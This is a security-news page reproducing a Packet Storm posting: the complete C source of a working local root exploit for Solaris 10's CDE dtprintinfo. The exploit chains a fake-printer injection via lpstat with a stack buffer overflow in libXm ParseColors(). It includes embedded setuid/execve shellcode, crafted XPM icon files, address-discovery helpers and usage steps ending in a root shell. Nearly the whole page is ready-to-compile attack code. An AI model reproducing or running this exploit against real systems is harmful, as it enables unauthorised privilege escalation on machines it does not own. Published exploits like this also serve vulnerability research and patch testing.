Security
Headlines
HeadlinesLatestCVEs

Headline

Solaris 10 dtprintinfo Local Privilege Escalation

Solaris 10 CDE local privilege escalation exploit that achieves root by injecting a fake printer via lpstat and uses a buffer overflow in libXM ParseColors().

Packet Storm
#vulnerability#git#c++#buffer_overflow
/* * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <[email protected]> * * "What has been will be again, *  what has been done will be done again; *  there is nothing new under the Sun." *                     -- Ecclesiastes 1:9 * * #Solaris #CDE #0day #ForeverDay #WontFix * * This exploit illustrates yet another way to abuse the infamous dtprintinfo * binary distributed with the Common Desktop Environment (CDE), a veritable * treasure trove for bug hunters since the 1990s. It's not the most reliable * exploit I've ever written, but I'm quite proud of the new vulnerabilities * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January * 2021) applied. The exploit chain is structured as follows: * 1. Inject a fake printer via the printer injection bug I found in lpstat. * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors(). * 3. Enjoy root privileges! * * For additional details on my bug hunting journey and on the vulnerabilities * themselves, you can refer to the official advisory: * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt * * Usage: * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall * $ ./raptor_dtprintlibXmas 10.0.0.109:0 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <[email protected]> *  * Using SI_PLATFORM       : i86pc (5.10) * Using stack base        : 0x8047fff * Using safe address      : 0x8045790 * Using rwx_mem address   : 0xfeffa004 * Using sc address        : 0x8047fb4 * Using sprintf() address : 0xfefd1250 * Path of target binary   : /usr/dt/bin/dtprintinfo *  * On your X11 server: * 1. Select the "fnord" printer, then click on "Selected" > "Properties". * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu. * * Back to your original shell: * # id * uid=0(root) gid=1(other) * * IMPORTANT NOTE. * The buffer overflow corrupts some critical variables in memory, which we * need to fix. In order to do so, we must patch the hostile buffer at some * fixed locations with the first argument of the last call to ParseColors(). * The easiest way to get such a safe address is via the special 0x41414141 * command-line argument and truss, as follows: * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT * $ grep ParseColors OUT | tail -1 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724) *                                 ^^^^^^^^^ << this is the safe address we need * * Tested on: * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021) * [previous Solaris versions are also likely vulnerable] */#include <fcntl.h>#include <link.h>#include <procfs.h>#include <stdio.h>#include <stdlib.h>#include <strings.h>#include <unistd.h>#include <sys/stat.h>#include <sys/systeminfo.h>#define INFO1  "raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE"#define INFO2  "Copyright (c) 2023 Marco Ivaldi <[email protected]>"#define  VULN  "/usr/dt/bin/dtprintinfo"  // vulnerable program#define  DEBUG  "/tmp/XXXXXXXXXXXXXXXXXX"  // target for debugging#define  BUFSIZE  1106        // size of hostile buffer#define PADDING  1        // hostile buffer padding#define SAFE  0x08045770      // 1st arg to ParseColors()char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) *//* triple setuid() */"\x31\xc0\x50\x50\xb0\x17\xcd\x91""\x31\xc0\x50\x50\xb0\x17\xcd\x91""\x31\xc0\x50\x50\xb0\x17\xcd\x91"/* execve() */"\x31\xc0\x50\x68/ksh\x68/bin""\x89\xe3\x50\x53\x89\xe2\x50""\x52\x53\xb0\x3b\x50\xcd\x91";/* globals */char  *arg[2] = {"foo", NULL};char  *env[256];int  env_pos = 0, env_len = 0;/* prototypes */int  add_env(char *string);void  check_bad(int addr, char *name);int  get_env_addr(char *path, char **argv);int  search_ldso(char *sym);int  search_rwx_mem(void);void  set_val(char *buf, int pos, int val);/* * main() */int main(int argc, char **argv){  char  buf[BUFSIZE], cmd[1024], *vuln = VULN;  char  platform[256], release[256], display[256];  int  i, sc_addr, safe_addr = SAFE;  FILE  *fp;  int  sb = ((int)argv[0] | 0xfff);  // stack base  int  ret = search_ldso("sprintf");  // sprintf() in ld.so.1  int  rwx_mem = search_rwx_mem();  // rwx memory  /* helper that prints argv[0] address, used by get_env_addr() */  if (!strcmp(argv[0], arg[0])) {    printf("0x%p\n", argv[0]);    exit(0);  }  /* print exploit information */  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);  /* process command line */  if ((argc < 2) || (argc > 3)) {    fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n",        argv[0]);    exit(1);  }  snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]);  if (argc > 2) {    safe_addr = (int)strtoul(argv[2], (char **)NULL, 0);  }  /* enter debug mode */  if (safe_addr == 0x41414141) {    unlink(DEBUG);    snprintf(cmd, sizeof(cmd), "cp %s %s", VULN, DEBUG);    if (system(cmd) == -1) {      perror("error creating debug binary");      exit(1);    }    vuln = DEBUG;  }  /* fill envp while keeping padding */  add_env("LPDEST=fnord");    // injected printer  add_env("HOME=/tmp");      // home directory  add_env("PATH=/usr/bin:/bin");    // path  sc_addr = add_env(display);    // x11 display  add_env(sc);        // shellcode  add_env(NULL);  /* calculate shellcode address */  sc_addr += get_env_addr(vuln, argv);  /* inject a fake printer */  unlink("/tmp/.printers");  unlink("/tmp/.printers.new");  if (!(fp = fopen("/tmp/.printers", "w"))) {    perror("error injecting a fake printer");    exit(1);  }  fprintf(fp, "fnord :\n");  fclose(fp);  link("/tmp/.printers", "/tmp/.printers.new");  /* craft the hostile buffer */  bzero(buf, sizeof(buf));  for (i = PADDING; i < BUFSIZE - 16; i += 4) {    set_val(buf, i, ret);    // sprintf()    set_val(buf, i += 4, rwx_mem);  // saved eip    set_val(buf, i += 4, rwx_mem);  // 1st arg    set_val(buf, i += 4, sc_addr);  // 2nd arg  }  memcpy(buf, "\"c c ", 5);    // beginning of hostile buffer  buf[912] = ' ';        // string separator  set_val(buf, 1037, safe_addr);    // safe address  set_val(buf, 1065, safe_addr);    // safe address  set_val(buf, 1073, 0xffffffff);    // -1  /* create the hostile XPM icon files */  system("rm -fr /tmp/.dt");  mkdir("/tmp/.dt", 0755);  mkdir("/tmp/.dt/icons", 0755);  if (!(fp = fopen("/tmp/.dt/icons/fnord.m.pm", "w"))) {    perror("error creating XPM icon files");    exit(1);  }  fprintf(fp, "/* XPM */\nstatic char *xpm[] = {\n\"8 8 3 1\",\n%s", buf);  fclose(fp);  link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.l.pm");  link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.t.pm");  /* print some output */  sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);  sysinfo(SI_RELEASE, release, sizeof(release) - 1);  fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);  fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);  fprintf(stderr, "Using safe address\t: 0x%p\n", (void *)safe_addr);  fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);  fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);  fprintf(stderr, "Using sprintf() address\t: 0x%p\n", (void *)ret);  fprintf(stderr, "Path of target binary\t: %s\n\n", vuln);  /* check for badchars */  check_bad(safe_addr, "safe address");  check_bad(rwx_mem, "rwx_mem address");  check_bad(sc_addr, "sc address");  check_bad(ret, "sprintf() address");  /* run the vulnerable program */  execve(vuln, arg, env);  perror("execve");  exit(0);}/* * add_env(): add a variable to envp and pad if needed */int add_env(char *string){  int  i;  /* null termination */  if (!string) {    env[env_pos] = NULL;    return env_len;  }  /* add the variable to envp */  env[env_pos] = string;  env_len += strlen(string) + 1;  env_pos++;  /* pad envp using zeroes */  if ((strlen(string) + 1) % 4)    for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {      env[env_pos] = string + strlen(string);      env_len++;    }  return env_len;}/* * check_bad(): check an address for the presence of badchars */void check_bad(int addr, char *name){  int  i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP  for (i = 0; i < sizeof(bad) / sizeof(int); i++) {    if (((addr & 0xff) == bad[i]) ||               ((addr & 0xff00) == bad[i]) ||        ((addr & 0xff0000) == bad[i]) ||         ((addr & 0xff000000) == bad[i])) {      fprintf(stderr, "error: %s contains a badchar\n", name);      exit(1);    }  }}/* * get_env_addr(): get environment address using a helper program */int get_env_addr(char *path, char **argv){  char  prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  char  hex[11];  int  fd[2], addr;  /* truncate program name at correct length and create a hard link */  prog[strlen(path)] = '\0';  unlink(prog);  link(argv[0], prog);        /* open pipe to read program output */  if (pipe(fd) == -1) {    perror("pipe");    exit(1);  }  switch(fork()) {  case -1: /* cannot fork */    perror("fork");    exit(1);  case 0: /* child */    dup2(fd[1], 1);    close(fd[0]);    close(fd[1]);    execve(prog, arg, env);    perror("execve");    exit(1);  default: /* parent */    close(fd[1]);    read(fd[0], hex, sizeof(hex));    break;  }  /* check address */  if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {    fprintf(stderr, "error: cannot read address from helper\n");    exit(1);  }  return addr + strlen(arg[0]) + 1;}/* * search_ldso(): search for a symbol inside ld.so.1 */int search_ldso(char *sym){  int    addr;  void    *handle;  Link_map  *lm;  /* open the executable object file */  if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {    perror("dlopen");    exit(1);  }  /* get dynamic load information */  if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {    perror("dlinfo");    exit(1);  }  /* search for the address of the symbol */  if ((addr = (int)dlsym(handle, sym)) == NULL) {    fprintf(stderr, "sorry, function %s() not found\n", sym);    exit(1);  }  /* close the executable object file */  dlclose(handle);  return addr;}/* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */int search_rwx_mem(void){  int  fd;  char  tmp[16];  prmap_t  map;  int  addr = 0, addr_old;  /* open the proc filesystem */  sprintf(tmp,"/proc/%d/map", (int)getpid());  if ((fd = open(tmp, O_RDONLY)) < 0) {    fprintf(stderr, "can't open %s\n", tmp);    exit(1);  }  /* search for the last RWX memory segment before stack (last - 1) */  while (read(fd, &map, sizeof(map)))    if (map.pr_vaddr)      if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {        addr_old = addr;        addr = map.pr_vaddr;      }  close(fd);  /* add 4 to the exact address NUL bytes */  if (!(addr_old & 0xff))    addr_old |= 0x04;  if (!(addr_old & 0xff00))    addr_old |= 0x0400;  return addr_old;}/* * set_val(): copy a dword inside a buffer (little endian) */void set_val(char *buf, int pos, int val){  buf[pos] =  (val & 0x000000ff);  buf[pos + 1] =  (val & 0x0000ff00) >> 8;  buf[pos + 2] =  (val & 0x00ff0000) >> 16;  buf[pos + 3] =  (val & 0xff000000) >> 24;}

Packet Storm: Latest News

ABB Cylon Aspect 3.08.01 vstatConfigurationDownload.php Configuration Download